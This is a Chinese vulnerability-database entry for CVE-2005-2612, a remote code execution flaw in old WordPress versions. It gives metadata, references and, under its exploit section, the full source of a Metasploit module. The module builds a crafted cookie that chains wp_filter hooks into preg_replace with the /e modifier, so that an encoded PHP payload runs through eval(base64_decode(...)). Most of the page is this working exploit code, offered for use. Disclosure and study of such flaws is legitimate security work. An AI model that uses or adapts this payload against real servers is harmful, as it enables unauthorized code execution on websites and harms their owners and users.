WordPress cache_lastpostdate 远程任意命令执行漏洞

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1119592 漏洞类型 未知
发布时间 2010-07-03 更新时间 2010-07-03
CVE编号 CVE-2005-2612 CNNVD-ID CNNVD-200508-176
漏洞平台 PHP CVSS评分 7.5
|漏洞来源
https://www.exploit-db.com/exploits/16895
https://www.securityfocus.com/bid/89381
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200508-176
|漏洞详情
WordPress是一款免费的论坛Blog系统。WordPress处理用户请求时存在输入验证漏洞,远程攻击者可能利用此漏洞在服务器上以Web进程权限执行任意命令。WordPress没有充分检查过滤cache_lastpostdate[server]变量数据内容,远程攻击者可能利用此漏洞通过插入特定的PHP代码在服务器上执行任意命令。
|漏洞EXP
##
# $Id: php_wordpress_lastpost.rb 9671 2010-07-03 06:21:31Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = ExcellentRanking

	include Msf::Exploit::Remote::Tcp
	include Msf::Exploit::Remote::HttpClient

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'WordPress cache_lastpostdate Arbitrary Code Execution',
			'Description'    => %q{
					This module exploits an arbitrary PHP code execution flaw in the WordPress
				blogging software. This vulnerability is only present when the PHP 'register_globals'
				option is enabled (common for hosting providers). All versions of WordPress prior to
				1.5.1.3 are affected.
			},
			'Author'         => [ 'str0ke <str0ke [at] milw0rm.com>', 'hdm' ],
			'License'        => MSF_LICENSE,
			'Version'        => '$Revision: 9671 $',
			'References'     =>
				[
					['CVE', '2005-2612'],
					['OSVDB', '18672'],
					['BID', '14533'],
				],
			'Privileged'     => false,
			'Payload'        =>
				{
					'DisableNops' => true,
					'Compat'      =>
						{
							'ConnectionType' => 'find',
						},
					'Space'       => 512,
				},
			'Platform'       => 'php',
			'Arch'           => ARCH_PHP,
			'Targets'        => [[ 'Automatic', { }]],
			'DisclosureDate' => 'Aug 9 2005',
			'DefaultTarget' => 0))

		register_options(
			[
				OptString.new('URI', [true, "The full URI path to WordPress", "/"]),
			], self.class)
	end

	def exploit

		enc = payload.encoded.unpack('C*').map { |c| "chr(#{c})"}.join('.') + ".chr(32)"
		str = Rex::Text.encode_base64('args[0]=eval(base64_decode('+enc+')).die()&args[1]=x')
		data =
			"wp_filter[query_vars][0][0][function]=get_lastpostdate;wp_filter[query_vars][0][0][accepted_args]=0;"+
			"wp_filter[query_vars][0][1][function]=base64_decode;wp_filter[query_vars][0][1][accepted_args]=1;"+
			"cache_lastpostmodified[server]=//e;cache_lastpostdate[server]="+str+
			";wp_filter[query_vars][1][0][function]=parse_str;wp_filter[query_vars][1][0][accepted_args]=1;"+
			"wp_filter[query_vars][2][0][function]=get_lastpostmodified;wp_filter[query_vars][2][0][accepted_args]=0;"+
			"wp_filter[query_vars][3][0][function]=preg_replace;wp_filter[query_vars][3][0][accepted_args]=3;"

		# Trigger the command execution bug
		res = send_request_cgi({
				'uri'      => datastore['URI'],
				'cookie'   => data
			}, 25)

		if (res)
			print_status("The server returned: #{res.code} #{res.message}")
		else
			print_status("No response from the server")
		end
	end

end
|受影响的产品
WordPress WordPress 1.5.1 .3 WordPress WordPress 1.5.1 .2 WordPress WordPress 1.5.1 WordPress WordPress 1.2.2 WordPress WordPress 1.5 WordPress WordPress 1.0.2
|参考资料

来源:SECUNIA
名称:16386
链接:http://secunia.com/advisories/16386
来源:FULLDISC
名称:20050809(nosubject)
链接:http://archives.neohapsis.com/archives/fulldisclosure/2005-08/0234.html